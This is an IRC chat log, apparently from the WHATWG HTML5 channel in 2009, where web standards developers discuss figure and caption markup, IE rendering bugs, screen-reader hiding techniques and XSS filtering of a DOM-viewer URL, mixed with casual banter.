I can see killing margins on [caption] in general, but off the top of my head that's the only change necessary.

[09:22:00.0000] <TabAtkins>
And there's the obvious work-around (that actually has a visual effect, so it'll be used when necessary) of just wrapping an offending element in a <div caption> rather than making it [caption] itself.

[09:23:00.0000] <TabAtkins>
Which wouldn't be any worse than <new element><something here></newelement>

[09:24:00.0000] <TabAtkins>
Frex, <button caption> would probably display pretty oddly.

[09:24:01.0000] <TabAtkins>
/me goes off to try it out.

[09:30:00.0000] <TabAtkins>
Okay, <button>s refuse to becom table captions at all in FF.

[09:30:01.0000] <TabAtkins>
But otherwise this works well enough.

[09:32:00.0000] <TabAtkins>
Hmm, FF doesn't collapse margins through a display:table-caption element that's been visually moved.

[09:44:00.0000] <mitnavn>
Does the canvas element only work with a pixel based grid?

[09:47:00.0000] <Dashiva>
mitnavn: As opposed to?

[09:47:01.0000] <mitnavn>
Percent

[09:48:00.0000] <Dashiva>
Yes

[09:48:01.0000] <TabAtkins>
If you're working in script, though, you can fake percentages trivially.

[09:48:02.0000] <Philip`>
You could use scale() so that all the coordinates are from 0 to 100, if you want

[09:49:00.0000] <Philip`>
ctx.scale(canvas.width/100, canvas.height/100) I think

[09:49:01.0000] <mitnavn>
Ah, cool.

[09:53:00.0000] <brucel>
Possible to use the <audio> element to embed midi audio in a page?

[09:53:01.0000] <TabAtkins>
Is there any way to link to the effective root when you're using <base>?

[09:53:02.0000] <TabAtkins>
brucel: Not unless anybody has a decoder for that.

[09:53:03.0000] <TabAtkins>
Which I don't think anyone does.

[09:54:00.0000] <brucel>
tragedy

[09:54:01.0000] <TabAtkins>
I think stopping the promulgation of midi is far from a tragedy.  ^_^

[09:54:02.0000] <brucel>
the lack of decoder, not the tragedy.mid

[09:55:00.0000] <brucel>
it was for a fun retro demo page. ah well....

[09:55:01.0000] <TabAtkins>
Can you convert to .wav?

[09:56:00.0000] <Philip`>
Does Windows not come with a MIDI synthesiser by default?

[09:56:01.0000] <Philip`>
/me kind of assumed it did, but he hasn't used MIDI since about ten years ago, and it was all done by Creative drivers back then

[09:56:02.0000] <TabAtkins>
I think it probably does?

[09:57:00.0000] <TabAtkins>
Yeah, I haven't used one in years either.

[09:57:01.0000] <clownabuser>
like your style, TabAtkins - the mellifluous strains of MIDI, with the bandwidth-bashing lack of compression that WAV gives.

[09:57:02.0000] <TabAtkins>
But I'll bet media player can do it.

[09:57:03.0000] <Lachy>
clownabuser, if QuickTime supports midi, then Safari will support it in <audio>

[09:57:04.0000] <TabAtkins>
...I'm going to keep calling you brucel.

[09:57:05.0000] <TabAtkins>
Does WAV get much benefit from ordinary gzipping?

[09:57:06.0000] <Philip`>
Why do you use clown abs?

[09:58:00.0000] <TabAtkins>
I suspect it would.

[09:58:01.0000] <Philip`>
TabAtkins: No

[09:58:02.0000] <clownabuser>
I deny all knowledge of brucel, in case people associate me with the midi question

[09:58:03.0000] <TabAtkins>
Philip`, damn.

[09:58:04.0000] <Philip`>
You might save 50% or so, which is rubbish

[09:58:05.0000] <clownabuser>
clownabuser is an anagram of Bruce Lawson, that someone tweeted me with

[09:58:06.0000] <Lachy>
haha

[09:58:07.0000] <clownabuser>
have never liked clowns

[09:59:00.0000] <Lachy>
ClownAbUser, why?

[09:59:01.0000] <clownabuser>
sinister buggers, the lot of them

[10:00:00.0000] <BaitTanks>
Clowns are scary.

[10:00:01.0000] <BaitTanks>
To me, for the same reasons that zombies and wax museums are scary.

[10:00:02.0000] <BaitTanks>
I suspect it's the Uncanny Valley.

[10:00:03.0000] <Lachy>
I've never met a scary clown. I really don't get why some people think they are

[10:00:04.0000] <BaitTanks>
I always get creeped out by clowns.

[10:00:05.0000] <clownabuser>
Scary clowns are banned from the Oslo metropolitan limits

[10:00:06.0000] <WebFoul>
one letter out...

[10:01:00.0000] <clownabuser>
which is why you've never met one Lachy

[10:01:01.0000] <Lachy>
BaitTanks, wax museums, sure. But zombies?! What's scary about those cute, undead creatures?

[10:01:02.0000] <BaitTanks>
A zombie is just an animate wax museum.

[10:01:03.0000] <Lachy>
clownabuser, I've never met a clown in Oslo. Hmm... I wonder why?

[10:01:04.0000] <Steve^>
Lachy is fearless, apparently

[10:01:05.0000] <adactio>
BaitTanks. "Explain it to me with Star Wars." http://kotaku.com/384789/the-uncanny-valley-explained-in-terms-of-porn-and-star-wars

[10:02:00.0000] <Steve^>
I suppose if you can survive the Koala attacks, you're ready for anything

[10:02:01.0000] <clownabuser>
it's the snow Lachy. Their oversize shoes get fillled with snow and they can't move, so hypothermia gets them

[10:03:00.0000] <Steve^>
and then the reindeer eat them

[10:04:00.0000] <dullsmoothie>
adactio: har!

[10:05:00.0000] <BaitTanks>
Hehe, adactio.  Thanks for that.

[10:05:01.0000] <Lachy>
/me is tying to find a cool anagram for my name, like clownabuser's, but all he can come up with is "tuna can" with 2 H's and 2 L's left over. :-(

[10:05:02.0000] <BaitTanks>
Lachy: http://wordsmith.org/anagram/anagram.cgi?anagram=lachlanhunt&t=1000&a=n

[10:05:03.0000] <Steve^>
The Lawson Practice is just round the corner from me. They denied the existence of Dr Bruce and refused to heal my HTML5itis :(  (http://www.lawsonpractice.nhs.uk/)

[10:05:04.0000] <dullsmoothie>
Lachy: sticking with the Star Wars theme: http://deanjackson.dj/nameanagram/index.php?n=lachy+hunt

[10:05:05.0000] <Lachy>
clownabuser, I don't think the oversize shoes are a problem. You've seen mine! My size 17 (52 in European) whoppers aren't a problem

[10:06:00.0000] <Dashiva>
dullsmoothie: Too bad he isn't called Huntt

[10:06:01.0000] <BaitTanks>
God damn, Lachy.  I'm just a 14.  You have ridiculous feet.

[10:06:02.0000] <clownabuser>
hmm. Are you perchance an incognito clown, hence leaping to their defence?

[10:07:00.0000] <BaitTanks>
Like a StopNGo in space?

[10:09:00.0000] <LaunchNHalt>
BaitTanks, people thought I had ridiculously large feet when mine were size 14

[10:09:01.0000] <Steve^>
the surface area of your feet is proportional to your weight. Ish.

[10:09:02.0000] <LaunchNHalt>
of course, that's back when I was 14 years old, so perhaps it was at the time

[10:09:03.0000] <gsnedders>
AryehGregor: How bad is it for you?

[10:10:00.0000] <LaunchNHalt>
Steve^, in my case, ever since I was 13, my shoe size matched my age till I reached 17 :-)

[10:13:00.0000] <gsnedders>
/me grumbles about the messiness of this desk

[10:16:00.0000] <gsnedders>
Steve^: Really? I'm UK 10/Euro 44 and 56kg… :\

[10:17:00.0000] <Steve^>
big feet for your weight then

[10:17:01.0000] <gsnedders>
I'm also around 180cm

[10:17:02.0000] <Steve^>
what colour is your hair?

[10:18:00.0000] <Steve^>
/me builds a criminal profile

[10:18:01.0000] <gsnedders>
Steve^: Brown

[10:52:00.0000] <Steve^>
Mac users, how do I maximise the itunes window to full the screen? Tried double click and the green + made it smaller

[10:53:00.0000] <gsnedders>
Steve^: OS X has no concept of maximize, ever.

[10:53:01.0000] <gsnedders>
Steve^: Only fit-to-content/minify depending on application

[10:53:02.0000] <dullsmoothie>
Steve^: drag window resize handle + reposition

[10:54:00.0000] <Steve^>
how.. primitive

[10:54:01.0000] <dullsmoothie>
although in visualiser mode there’s probably a fill screen option

[10:54:02.0000] <dullsmoothie>
no, definitely

[10:54:03.0000] <Steve^>
I liked a song in Genius and tried to show a list of songs by that artist

[10:54:04.0000] <Steve^>
nope

[10:55:00.0000] <Steve^>
must search manually

[10:55:01.0000] <Steve^>
I'm happy my girlfriend doesn't use Windows, but I don't understand Macs at all

[10:56:00.0000] <gsnedders>
Most other OSes make the effort for the fit-to-content option, which sucks also

[11:33:00.0000] <mpilgrim>
http://arstechnica.com/microsoft/news/2009/09/ie-program-manager-endorses-html-5-multimedia-tags.ars

[11:34:00.0000] <mpilgrim>
which leads people to think things like http://www.programmica.info/2009/09/google-praises-microsoft.html

[11:35:00.0000] <mpilgrim>
it's like a game of "whisper down the lane"

[11:36:00.0000] <mpilgrim>
by the time it hits slashdot, the headline will be "Google and Microsoft announce revolutionary new web video standard!!!"

[11:37:00.0000] <mpilgrim>
TechChrunch will publish an unsubstantiated rumor that Youtube is switching to Windows Media

[11:37:01.0000] <TabAtkins>
Hehe

[11:38:00.0000] <mpilgrim>
Mac forums will go ballistic and try to start a boycott of all Google products

[11:39:00.0000] <mpilgrim>
dave winer will start a mailing list to discuss the creation of a brand new video standard, built from scratch and based on OPML

[11:40:00.0000] <Steve^>
sounds like some zany apocalyse prediction

[11:40:01.0000] <Steve^>
apocalypse

[11:43:00.0000] <mpilgrim>
and zeldman will post a fancy "to whom it may concern" open letter in franklin gothic medium condensed oblique, undersigned by a list of prominent mac-using designers who oppose the video element on the grounds that the letter "v" is awkward and ungainly

[11:53:00.0000] <AryehGregor>
gsnedders, seriously aggravating but not debilitating.

[11:53:01.0000] <AryehGregor>
mpilgrim, hey, at least he apparently read the actual mailing list posts you linked to.  Could be worse.

[11:53:02.0000] <AryehGregor>
Well, Ars Technica did, I mean.

[11:54:00.0000] <AryehGregor>
. . . the second one is awful starting from the subject line.

[11:54:01.0000] <AryehGregor>
Is "HTML5 evangelist" actually your job or anything?

[11:55:00.0000] <AryehGregor>
Okay, the second one is retarded, I agree.

[11:55:01.0000] <AryehGregor>
On the other hand, at least it's a better tone than some of the +5 comments on the Slashdot post on the original mailing list post, which tended to be along the lines of "Look at evil Microsoft criticizing HTML5!!!!"

[12:39:00.0000] <erl[oberholz]>
That thing you burned up isn't really important to me. It's the <dialog> unit. It made shoes for orphans. Nice job breaking it, hickson.

[12:47:00.0000] <Philip`>
erl[oberholz]: Don't worry, you're still alive

[12:51:00.0000] <Steve^>
I'm not quite sure what that means "It made shoes for orphans"

[12:52:00.0000] <Philip`>
It's just a reference to some dialogue somewhere

[12:53:00.0000] <TabAtkins>
Can anyone else load http://software.hixie.ch/utilities/js/live-dom-viewer/saved/235 in ie8?

[12:53:01.0000] <TabAtkins>
I'm getting a yellow-bar saying that it decided to break the page to prevent XSS.

[12:54:00.0000] <erl[oberholz]>
Steve^, read <http://en.wikiquote.org/wiki/Portal_(game)> ,but replace "Aperture Science Enrichment Center" with "WHATWG" ;)

[12:55:00.0000] <Steve^>
ohhh

[12:55:01.0000] <Steve^>
ok :)

[12:55:02.0000] <erl[oberholz]>
TabAtkins, interesting. can you spot what exactly triggers the XSS?

[12:56:00.0000] <AryehGregor>
I didn't recognize the quote on first glance.  Clearly I need to replay Portal.

[12:56:01.0000] <erl[oberholz]>
err, the XSS detection.

[12:56:02.0000] <TabAtkins>
erl[oberholz]: The code that is trying to load includes a <script> tag to get IE to recognize <figure>, which I'm guessing IE recognizes in the url and kills

[12:57:00.0000] <AryehGregor>
Blast!  The guy with nick "aryeh" logged on a week ago.  Foiled!

[12:57:01.0000] <AryehGregor>
/me will have to wait another 67 days or so for his next chance

[12:57:02.0000] <TabAtkins>
AryehGregor: Heh, does registration last 75 days or something?

[12:58:00.0000] <erl[oberholz]>
TabAtkins, so essentially any javascript input for hixies DOM viewer will trigger IE8 XSS detection?

[12:58:01.0000] <TabAtkins>
erl[oberholz]: Dunno how general it is.  I'd have to do some testing.

[12:58:02.0000] <AryehGregor>
You can ask to usurp a nick after 60 days of inactivity.  I asked on his 60th day of inactivity, and was told that since his nick had been registered for two years, I had to wait another two weeks.

[12:58:03.0000] <AryehGregor>
Which he used to log on.  >:(

[12:58:04.0000] <TabAtkins>
Sucks.  I'll bet it sends an email.

[12:59:00.0000] <AryehGregor>
"it" being freenode staff?

[12:59:01.0000] <AryehGregor>
/me tries to think of another good nick

[12:59:02.0000] <AryehGregor>
aryehg?

[12:59:03.0000] <TabAtkins>
AryehGregor: I assumed NickServ was largely autonomous.  Guess I was wrong.

[13:00:00.0000] <AryehGregor>
It is, but usurping isn't.

[13:00:01.0000] <TabAtkins>
erl[oberholz]: http://software.hixie.ch/utilities/js/live-dom-viewer/?<!doctype%20html><script></script>

[13:00:02.0000] <TabAtkins>
Looks like it

[13:00:03.0000] <AryehGregor>
You need to ask staff.

[13:00:04.0000] <AryehGregor>
erl[oberholz], it's rather the point of the XSS detection thing that it raises alarms if it detects scripts being injected from the URL.

[13:00:05.0000] <AryehGregor>
That's practically the definition of XSS, after all.

[13:01:00.0000] <AryehGregor>
It just so happens that most of us don't have any useful cookies or such set on software.hixie.ch, so nobody's going to bother luring us there with malicious JS in the URL.

[13:01:01.0000] <erl[oberholz]>
hehe

[13:01:02.0000] <erl[oberholz]>
purrfect :D

[13:04:00.0000] <annodomini>
NoScript seems to block input to the DOM viewer, too.

[13:04:01.0000] <AryehGregor>
. . . maybe because it's script-based?

[13:05:00.0000] <annodomini>
NoScript is actually very aggressive about it; it strips out everything that looks like an HTML tag.

[13:05:01.0000] <annodomini>
(as part of its XSS blocking tools)

[13:10:00.0000] <annodomini>
So, is there any particular reason that <title> is the only required element in HTML? Is there a good reason that it's required?

[13:11:00.0000] <AryehGregor>
It would make test cases smaller if it weren't.

[13:11:01.0000] <AryehGregor>
(I mean, that's not a reason it's required, I'm agreeing with your question)

[13:11:02.0000] <annodomini>
Right.

[13:11:03.0000] <AryehGregor>
It's usually going to be an error if it's omitted, though.

[13:12:00.0000] <annodomini>
Well, there are lots of cases in which you can have a document but don't need a title.

[13:12:01.0000] <TabAtkins>
Thus all the <title>Untitled Document</title> pages on the web.

[13:12:02.0000] <annodomini>
For instance, HTML email, pages which are always intended to be framed (like gadgets), etc.

[13:12:03.0000] <annodomini>
Yeah. That seems to me to be about the equivalent of alt="img001" or whatever.

[13:13:00.0000] <annodomini>
It would be more useful not to have it, so if you really need a title, the browser could use the URL or a component of it, or maybe extract the top level heading, or something.

[13:14:00.0000] <erl[oberholz]>
interesting issue.

[13:14:01.0000] <erl[oberholz]>
i second annodomini.

[13:14:02.0000] <AryehGregor>
It's been discussed before a bunch of times.

[13:14:03.0000] <AryehGregor>
But I hadn't thought of iframes and such.

[13:14:04.0000] <AryehGregor>
You're right, it's really fairly pointless in those cases.

[13:14:05.0000] <erl[oberholz]>
AryehGregor, so what was the reason of keeping it?

[13:14:06.0000] <AryehGregor>
I dunno.

[13:14:07.0000] <annodomini>
/me starts searching through archives

[13:19:00.0000] <Steve^>
everything should have a title, tabs need them

[13:19:01.0000] <Steve^>
sure, the browser can make them up, but a developer created one is always better

[13:19:02.0000] <Steve^>
except maybe for gadgets

[13:20:00.0000] <AryehGregor>
Steve^, what about iframes?

[13:20:01.0000] <hsivonen>
:-( Shane thought my bug comment asking for an assertion to be substantiated was a troll

[13:20:02.0000] <AryehGregor>
What about test cases where nobody cares about the title?

[13:20:03.0000] <annodomini>
Existing thread on the issue: http://lists.whatwg.org/pipermail/whatwg-whatwg.org/2009-June/020147.html

[13:20:04.0000] <Steve^>
AryehGregor, accessibility?

[13:20:05.0000] <AryehGregor>
Steve^, what about accessibility?

[13:20:06.0000] <annodomini>
Right. The reason I thought of it is that everyone uses test cases that lack titles.

[13:21:00.0000] <Steve^>
screen reader can use the title of the iframe content as a reference

[13:21:01.0000] <AryehGregor>
annodomini, I don't, but it's silly.

[13:21:02.0000] <AryehGregor>
hsivonen, you need to kill him for a failed assertion, obviously.

[13:21:03.0000] <AryehGregor>
Steve^, do they actually do that?

[13:21:04.0000] <AryehGregor>
This sounds like hidden metadata to me.

[13:21:05.0000] <annodomini>
Wouldn't it be better to just read the content of the iframe, and thus get the same content as sighted users?

[13:22:00.0000] <Steve^>
I don't know what they do, I just think about what they could do :)

[13:22:01.0000] <AryehGregor>
Steve^, bad approach, generally.

[13:22:02.0000] <hsivonen>
AryehGregor: I think failed assertions aren't even logged

[13:22:03.0000] <Steve^>
umm

[13:22:04.0000] <Steve^>
no?

[13:22:05.0000] <TabAtkins>
Hrm, Leif's point about IE6/7's treatment of <dt>/<dd> outside of <dl> is valid.  This seems like a big problem.

[13:22:06.0000] <AryehGregor>
Because then you end up building your standard based on things that just don't happen.

[13:22:07.0000] <AryehGregor>
A fantasy world, essentially.  Rather than actually making it useful.  That's what XHTML 2 did.

[13:22:08.0000] <TabAtkins>
Though I can see how it was missed in testing - IE shows it with some properties, but not with background.

[13:22:09.0000] <AryehGregor>
hsivonen, you need to turn on debug mode, then.

[13:23:00.0000] <Steve^>
AryehGregor, I design for the future. I make sure that when screen readers and other user agents get better, my site has the information for it. What they do now is unimportant

[13:23:01.0000] <Steve^>
That would lead to zero development

[13:23:02.0000] <AryehGregor>
Steve^, great, so then they develop in a totally different direction and your effort is wasted.

[13:24:00.0000] <AryehGregor>
If you design for tomorrow, then your site will work tomorrow.

[13:24:01.0000] <AryehGregor>
It might not work ideally five years from now, but it probably wouldn't work ideally five years from now anyway, because who knows what five years from now will be like?

[13:24:02.0000] <Steve^>
Do any screen readers understand HTML sectioning/heading content yet?

[13:24:03.0000] <AryehGregor>
No idea, I know diddly-squat about screen readers.

[13:25:00.0000] <Steve^>
if not, I might as well strip out those silly <section> and <article> that I wasted my time on

[13:25:01.0000] <AryehGregor>
Those are specified in a current standard that multiple vendors have expressed interest in implementing.  But if you aren't actually using them, sure, feel free to strip them out, probably won't change much.

[13:25:02.0000] <annodomini>
The question is, would reading the <title> of a page in an iframe help accessibility?

[13:26:00.0000] <AryehGregor>
Not the same as deciding on your own that screen readers might use <title> in <iframe> for something.

[13:26:01.0000] <Steve^>
annodomini, its much faster to read a title than the entire iframe

[13:26:02.0000] <hsivonen>
speaking of future proofing, Re: easlier discussion on vendor prefixes: vendor prefixes fail if one does -moz-border-radius: ...; -webkit-border-radius: ...; and then in anticipation boder-radius: ...;, too

[13:26:03.0000] <AryehGregor>
HTML5 was developed very broadly over a period of a few years.

[13:26:04.0000] <hsivonen>
*border-radius

[13:26:05.0000] <Steve^>
I expect the screenreader reads the title of the main page first, too

[13:26:06.0000] <annodomini>
If the author put the page into an iframe, they were intending people to see the content of the iframe, not the title.

[13:26:07.0000] <Steve^>
and the user can abort viewing at any time

[13:26:08.0000] <AryehGregor>
hsivonen, Mozilla apparently encourages that.  At least there was one bug I read where they removed support for -moz-foo at the same time as adding support for foo.

[13:26:09.0000] <AryehGregor>
Or at least someone said they would.

[13:27:00.0000] <Steve^>
Can anyone give an example of a good iframe? I don't come across them much

[13:27:01.0000] <annodomini>
iframes are different than main frames, though. They are frequently used to transparently include content, that shouldn't appear to be any different than content from the main frame.

[13:27:02.0000] <annodomini>
They are frequently used for sandboxing untrusted code.

[13:27:03.0000] <Philip`>
Steve^: Adverts?

[13:28:00.0000] <Steve^>
perfect

[13:28:01.0000] <AryehGregor>
AFAIK, most screen readers try to scrape content from the screen to reconstruct what it would look like for sighted users.  They ignore things that are set to display: none, for instance, because they wouldn't display visually.

[13:28:02.0000] <annodomini>
If you want to embed a random untrusted piece of flash or javascript in your blog, you can stick it in an iframe on a different domain, so it doesn't have access to your cookies.

[13:28:03.0000] <Steve^>
A sighted user can choose what on the screen they look at, avoiding adverts

[13:28:04.0000] <AryehGregor>
So I doubt they intentionally display content like an iframe's title that would be hidden in a normal browser.

[13:28:05.0000] <gsnedders>
annodomini: An iframe doesn't work as a sandbox

[13:29:00.0000] <Steve^>
titles would allow the user to see what the iframes hold and browse around, without parsing each document in its entirety

[13:29:01.0000] <gsnedders>
annodomini: You can just do parent.document.body.style.display = "none";

[13:29:02.0000] <AryehGregor>
Yes, but the fact is practically nobody actually tests in or cares about screen readers, so if they do provide things meant to help screen readers, they usually get them totally wrong.

[13:29:03.0000] <annodomini>
If you stick it on a different domain?

[13:29:04.0000] <AryehGregor>
So screen readers ignore most of that stuff anyway AFAIK.

[13:29:05.0000] <gsnedders>
annodomini: Still works

[13:31:00.0000] <hsivonen>
hmm. it seems that Shane also missed the part were Othar from Google stated their intent to deviate from the spec

[13:32:00.0000] <annevk42>
he thinks it's just like HTML4 and therefore fine

[13:32:01.0000] <annevk42>
guess he didn't get the memo that implementors perceive HTML4 as not that great -- if not disaster

[13:35:00.0000] <annevk42>
it's funny how on the one hand the XHTML2/RDFa guys think everything should be pure and good but when it comes to the DOM it can all be a quick hack as long as it works

[13:36:00.0000] <annevk42>
it makes no sense whatsoever to me

[13:36:01.0000] <Philip`>
annevk42: Sounds like making the language nice and clean for users, even if implementers have to something a little hacky

[13:36:02.0000] <Philip`>
which is just a sensible priority of constituencies

[13:37:00.0000] <AryehGregor>
s/^.*(the XHTML2/RDFa guys).*$/$1/ and the next line still makes sense.  :)

[13:37:01.0000] <erl[oberholz]>
AryehGregor, interesting. I used display:none on my accessability hooks. does that mean i should use the move it 1000em to the left hack ?

[13:37:02.0000] <AryehGregor>
erl[oberholz], that's what people usually do.

[13:38:00.0000] <TabAtkins>
erl[oberholz]: Yeah, that's what you should do.

[13:38:01.0000] <AryehGregor>
erl[oberholz], in general, I've found that trying to develop things for platform X without actually testing on platform X is a sure recipe for disaster.

[13:38:02.0000] <AryehGregor>
If you want to make your site work in screen readers, then get a screen reader and test it.

[13:38:03.0000] <AryehGregor>
Try to be clever and you'll probably make things worse.

[13:38:04.0000] <AryehGregor>
Because the screen readers are designed to gracefully handle pages that ignore the existence of screen readers.

[13:38:05.0000] <TabAtkins>
erl[oberholz]: I use that for my "Skip to content" link, for example.

[13:38:06.0000] <AryehGregor>
(this doesn't necessarily apply to following well-established advice, though)

[13:39:00.0000] <erl[oberholz]>
TabAtkins, i mean exactly that. (though HTML5 should make this non-necessary)

[13:39:01.0000] <TabAtkins>
erl[oberholz]: Because I can't organize my page to have all content at the top, unfortunately.  CSS isn't mature enough quite yet for me.

[13:39:02.0000] <AryehGregor>
Personally, my vote is that we develop a general cure for blindness so we can forget about screen readers.  All in favor, say aye.

[13:39:03.0000] <erl[oberholz]>
arrrr

[13:39:04.0000] <Steve^>
I'm busy, sorry AryehGregor   good luck though

[13:40:00.0000] <TabAtkins>
Well, crap, this whole <figure><dt/></figure> issue seems to be just as bad as <figure><legend/></figure.

[13:40:01.0000] <AryehGregor>
TabAtkins, MediaWiki has all content at the top of the HTML source, but it doesn't help screen readers, since they execute the CSS.  I once had a guy come in asking for help getting his site for blind people to work better, and he said "just tell me where all the CSS is so I can delete it".

[13:40:02.0000] <Steve^>
I have a feeling that screenreaders do read display: none sections

[13:40:03.0000] <TabAtkins>
I suppose the damage is somewhat less widespread, but it's still going to be useless for many years.

[13:40:04.0000] <annodomini>
Steve^: no, they don't

[13:41:00.0000] <AryehGregor>
Steve^, not what I've been told by blind people or multiple web design essays.

[13:41:01.0000] <annodomini>
That's why if you want to hide text from sighted users but have it accessible to blind users, you generally give it something like a -9999px margin

[13:41:02.0000] <TabAtkins>
Or abspos it and set left:-9000px

[13:42:00.0000] <AryehGregor>
I wonder if screen readers will start figuring that out and not reading it at some point.

[13:42:01.0000] <annodomini>
gsnedders: Firefox, Safari, and Opera all agree that an iframe doesn't get to mess with its parent: http://ephemera.continuation.org/cross-domain-iframe.html

[13:42:02.0000] <TabAtkins>
God, I hope not, AryehGregor.

[13:42:03.0000] <Steve^>
why would they not render it? It is information they want to show?

[13:43:00.0000] <gsnedders>
annodomini: Oh, and the sandbox attribute only changed same-origin stuff

[13:43:01.0000] <Steve^>
why is this not in the HTML5 spec?

[13:43:02.0000] <Steve^>
display: non-visual;

[13:43:03.0000] <AryehGregor>
Why is what not in the HTML5 spec?

[13:43:04.0000] <AryehGregor>
. . .

[13:43:05.0000] <Steve^>
or something clever

[13:43:06.0000] <AryehGregor>
It's CSS, not HTML.

[13:43:07.0000] <annodomini>
That would go into CSS, not HTML

[13:44:00.0000] <AryehGregor>
And there are audio stylesheets for this.

[13:44:01.0000] <AryehGregor>
Which screen readers ignore.

[13:44:02.0000] <AryehGregor>
(most screen readers)

[13:44:03.0000] <AryehGregor>
Because they know what they want to display a lot better than the average web author.

[13:44:04.0000] <annodomini>
But yeah, I think that would be a good idea, to stop the -9000 px margin hacks.

[13:45:00.0000] <AryehGregor>
annodomini, http://www.w3.org/TR/CSS2/aural.html

[13:45:01.0000] <AryehGregor>
display: none; speak: normal;

[13:45:02.0000] <Steve^>
Is there a reason everyone said -9000 and not -10000?

[13:45:03.0000] <TabAtkins>
My hope is that since display:none is so easy, we devs will keep doing it for things we want hidden from everyone, and the margin-left:-9000px and position:absolute;left:-9000px hacks will always continue working.

[13:46:00.0000] <TabAtkins>
Steve^, I dunno.  I picked it up when I first learned the technique from whatever blog I read.

[13:46:01.0000] <annodomini>
Steve^: No real good reason I know of.

[13:46:02.0000] <Steve^>
How about the HTML5 outline algorithm. Does that care about display: hidden? Are screenreaders likely to when they implement it?

[13:47:00.0000] <AryehGregor>
Steve^, HTML is not affected by CSS, ever.

[13:47:01.0000] <AryehGregor>
I mean, the semantics of HTML.

[13:47:02.0000] <AryehGregor>
Like section outline.

[13:47:03.0000] <Steve^>
I use hidden headings on my navigation elements, so that the outline makes more sense, but the user shouldn't see them for style reasons

[13:47:04.0000] <AryehGregor>
Do we have reason to believe that screen readers will actually implement the section outline algorithm?

[13:48:00.0000] <AryehGregor>
Steve^, MediaWiki does that for some of the navigation stuff.

[13:48:01.0000] <TabAtkins>
I'll be happy when CSS implements the section outline algorithm and gives us :heading() (and maybe ::section())

[13:48:02.0000] <annodomini>
The outline algorithm picks out a set of nodes. Once you get those, you have to decide what to do with them. You might decide to present al of them, or you might decide not to present ones that have display: none

[13:48:03.0000] <Steve^>
hmm true

[13:49:00.0000] <Steve^>
screenreaders should implement it, its a handy way to navigate a document. But you don't want them navigating to areas that are hidden

[13:49:01.0000] <Steve^>
so my hidden headings will need to be -10000px too

[13:50:00.0000] <annodomini>
But because web app authors frequently use display: none to hide stuff that doesn't make sense to display, it usually doesn't make sense to read them either. So yeah, if you want things to be accessible to the screenreader, you need to use the negative margin hack.

[13:50:01.0000] <annevk42>
Philip`, users deal with the DOM, surely

[13:51:00.0000] <Steve^>
annodomini, why do they frequently do that?

[13:51:01.0000] <TabAtkins>
display:none is the poor man's way to remove elements from the DOM, basically.

[13:52:00.0000] <Steve^>
You could use javascript for a tabbed effect, that would toggle the display

[13:52:01.0000] <TabAtkins>
So.  Yes.  <dt> in <figure> is at the same level of brokenness as <legend> in <figure>.  We didn't gain anything by switching.

[13:52:02.0000] <TabAtkins>
Steve^: That is in fact the common way to do things.

[13:53:00.0000] <Steve^>
if this is purely a CSS problem, then ok

[13:53:01.0000] <Steve^>
but if HTML can help, then its worth considering now

[13:54:00.0000] <Steve^>
just like alt is purely for accessibility

[13:54:01.0000] <annevk42>
<dt> doesn't work?

[13:54:02.0000] <TabAtkins>
annevk42: Not in ie6 or ie7, for a lot of CSS properties.

[13:54:03.0000] <TabAtkins>
It forms a good DOM, but display is totally broken.

[13:55:00.0000] <annevk42>
and a different element does work?

[13:55:01.0000] <TabAtkins>
Yup.

[13:55:02.0000] <annevk42>
why is that?

[13:55:03.0000] <TabAtkins>
It's something special about encounting a <dt>/<dd> outside of a <dl>.

[13:55:04.0000] <annevk42>
aah, wow

[13:55:05.0000] <TabAtkins>
I just put a message on the html-wg list with a testcase.

[13:56:00.0000] <othermaciej>
yikes

[13:56:01.0000] <othermaciej>
I guess we should have tested <dt> / <dd>

[13:56:02.0000] <Steve^>
lol

[13:56:03.0000] <TabAtkins>
Really Leif's discovery, but I trimmed down his case to something minimal.

[13:57:00.0000] <Steve^>
is the fieldset legend being changed?

[13:57:01.0000] <TabAtkins>
Hm?  We don't do anything new with <fieldset><legend> now.

[13:59:00.0000] <annevk42>
but it works in ie8?

[13:59:01.0000] <TabAtkins>
Yup.

[13:59:02.0000] <annevk42>
might be good enough

[14:00:00.0000] <TabAtkins>
It's forward compatible, it seems, but it's still broken enough in legacy stuff that it won't be usable for years yet.

[14:00:01.0000] <TabAtkins>
Unless you decide that you just plain don't want to set borders or font properties on your captions / <details> togglers.

[14:01:00.0000] <AryehGregor>
TabAtkins, I don't see your post . . .

[14:01:01.0000] <AryehGregor>
Oh, I muted that conversation.

[14:01:02.0000] <TabAtkins>
AryehGregor: It threaded itself weirdly, it seems.

[14:01:03.0000] <TabAtkins>
Heh, k.

[14:01:04.0000] <TabAtkins>
Should I make it a top-level post?

[14:03:00.0000] <TabAtkins>
Steve^: (returning to the hiding/screenreaders thing) Ideally we'd be able to use nothing but @hidden to indicate content that we're leaving in the DOM, but that shouldn't be looked at by anyone, and return to display:none being read by screen-readers.  of course that's never going to happen.

[14:04:00.0000] <othermaciej>
TabAtkins: so you can't change the font of a <dt> outside a <dl>? But you can if it is inside a <dl>? that is way weird

[14:04:01.0000] <TabAtkins>
othermaciej: Nah, you can change it, but those properties then apply *to the entire rest of the document*, as if everything was a child of the <dt>.

[14:04:02.0000] <TabAtkins>
It's really obvious when you set a border, as well, as it wraps the rest of the document in the border.

[14:05:00.0000] <Steve^>
a new element is way better than stuffing compatibility that much

[14:05:01.0000] <TabAtkins>
I suspect IE's creating something that's not a tree for CSS purposes.

[14:05:02.0000] <othermaciej>
TabAtkins: whoah.

[14:07:00.0000] <TabAtkins>
So, yeah.  I definitely expect to set font and borders on my <details> toggler, so this'll render it unusable for me for a long time.  I'm not sure what the full list of crazy-inheritance properties are, too, so there may be more ridiculosity.

[14:10:00.0000] <othermaciej>
reading <http://www.w3.org/Bugs/Public/show_bug.cgi?id=7670> is entertaining

[14:10:01.0000] <annevk42>
is the hixie vs pro-prefix guys?

[14:10:02.0000] <annevk42>
s/the/that/

[14:12:00.0000] <TabAtkins>
annevk42: yeah

[14:13:00.0000] <hober>
I really need to finish up my ranty blog post about prefix-indirection mechanisms

[14:13:01.0000] <Steve^>
RDFa is too complicated from my brief view of it

[14:13:02.0000] <annevk42>
/me was amused too

[14:14:00.0000] <annevk42>
good start of the weekend

[14:14:01.0000] <Philip`>
RDFa is too complicated from my relatively extensive view of it

[14:14:02.0000] <hober>
it'll be the essay form of http://edward.oconnor.cx/2009/BarCamp-San-Diego-5/ (sorry, no 'previous slide' functionality in that deck)

[14:19:00.0000] <Steve^>
microdata doesn't even have a wikipedia page

